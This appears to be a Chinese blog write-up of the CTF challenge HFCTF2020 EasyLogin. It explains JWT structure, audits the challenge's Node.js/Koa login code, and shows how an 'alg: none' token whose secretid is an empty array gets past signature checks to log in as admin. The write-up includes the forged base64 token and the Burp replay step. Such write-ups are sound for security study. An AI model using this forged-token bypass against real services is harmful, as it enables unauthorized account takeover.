zoukankan      html  css  js  c++  java
  • 刷题[HFCTF2020]EasyLogin

    前置知识

    node.js

    koa框架常用目录,文件

    js弱类型语言,空数组与整数1比较时,返回turue

    jwt令牌

    博客讲解:

    关于jwt的讲解: http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
    https://www.cnblogs.com/z-sm/p/9125995.html
    https://www.jianshu.com/p/1ce08a374bb5
    jwt攻击手段:https://www.freebuf.com/articles/web/181261.html

    个人总结

    形式:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.(这里有一个点)eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.(这里也有一个点)TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
    第一个点前为header,第二个点前为payload,第二个点后为signture
    一个攻击点:当header中的alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器。

    解题思路

    点开发现是登陆框,源码什么的没有啥问题

    审查元素

    f12审查元素,发现app.js,发现是node.js写的后端。框架用的是koa
    之后主要的逻辑代码我没找到,看wp才知道是controllers下的api.js。赵总说是经验,好吧。。。学到了。

    代码审计

    const crypto = require('crypto');
    const fs = require('fs')
    const jwt = require('jsonwebtoken')
    
    const APIError = require('../rest').APIError;
    
    module.exports = {
        'POST /api/register': async (ctx, next) => {
            const {username, password} = ctx.request.body;
    `
            if(!username || username === 'admin'){
                throw new APIError('register error', 'wrong username');
            }
    
            if(global.secrets.length > 100000) {
                global.secrets = [];
            }
    
            const secret = crypto.randomBytes(18).toString('hex');
            const secretid = global.secrets.length;
            global.secrets.push(secret)
    
            const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
    
            ctx.rest({
                token: token
            });
    
            await next();
        },
    
        'POST /api/login': async (ctx, next) => {
            const {username, password} = ctx.request.body;
    
            if(!username || !password) {
                throw new APIError('login error', 'username or password is necessary');
            }
    
            const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
    
            const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
    
            console.log(sid)
    
            if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
                throw new APIError('login error', 'no such secret id');
            }
    
            const secret = global.secrets[sid];
    
            const user = jwt.verify(token, secret, {algorithm: 'HS256'});
    
            const status = username === user.username && password === user.password;
    
            if(status) {
                ctx.session.username = username;
            }
    
            ctx.rest({
                status
            });
    
            await next();
        },
    
        'GET /api/flag': async (ctx, next) => {
            if(ctx.session.username !== 'admin'){
                throw new APIError('permission error', 'permission denied');
            }
    
            const flag = fs.readFileSync('/flag').toString();
            ctx.rest({
                flag
            });
    
            await next();
        },
    
        'GET /api/logout': async (ctx, next) => {
            ctx.session.username = null;
            ctx.rest({
                status: true
            })
            await next();
        }
    };
    

    这里有注册、登陆、flag、登出四个路由,可以得知admin登陆后即可获得flag,此时思路,如何登陆admin用户

    jwt令牌

    const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
    关键代码就是这一句,发现使用的为jwt令牌,关于jwt令牌的攻击前置知识已写,所以直接运用 将加密方式改为’none’的方式。

    payload:

    {"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "123456","iat": 1587632063}.(分开base64)
    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiMTIzNDU2IiwiaWF0IjogMTU4NzYzMjA2M30.
    这里推荐一个网站

    https://jwt.io/
    可以直接帮你编码

    解题

    先注册一个用户,登陆界面bp抓包,并发送刚刚的payload

    发包,发现登陆成功,显示welcome admin,再抓一个包,go一下,发现flag

    总结思路

    • 要找到一个项目的主要逻辑代码,文件名可能为api.js
    • 代码审计发现jwt令牌,思考可以用哪个jwt攻击思路

    知识点

    • jwt相关攻击
    • 代码审计(node.js)
  • 相关阅读:
    Selenium2+python自动化-查看selenium API
    彻底搞懂scrapy的中间件第二章
    彻底搞懂scrapy的中间件第一章
    爬虫面试题
    爬取58同城二手房数据存储到redis数据库和mysql数据库
    Scrapy操作浏览器获取网易新闻数据
    Scrapy框架中的 UA伪装
    scrapy框架中如何使用selenuim
    基于scrapy中---全站爬取数据----CrawlSpider的使用
    基于百度AI的自然语言处理文字分类
  • 原文地址:https://www.cnblogs.com/karsa/p/12762297.html
Copyright © 2011-2022 走看看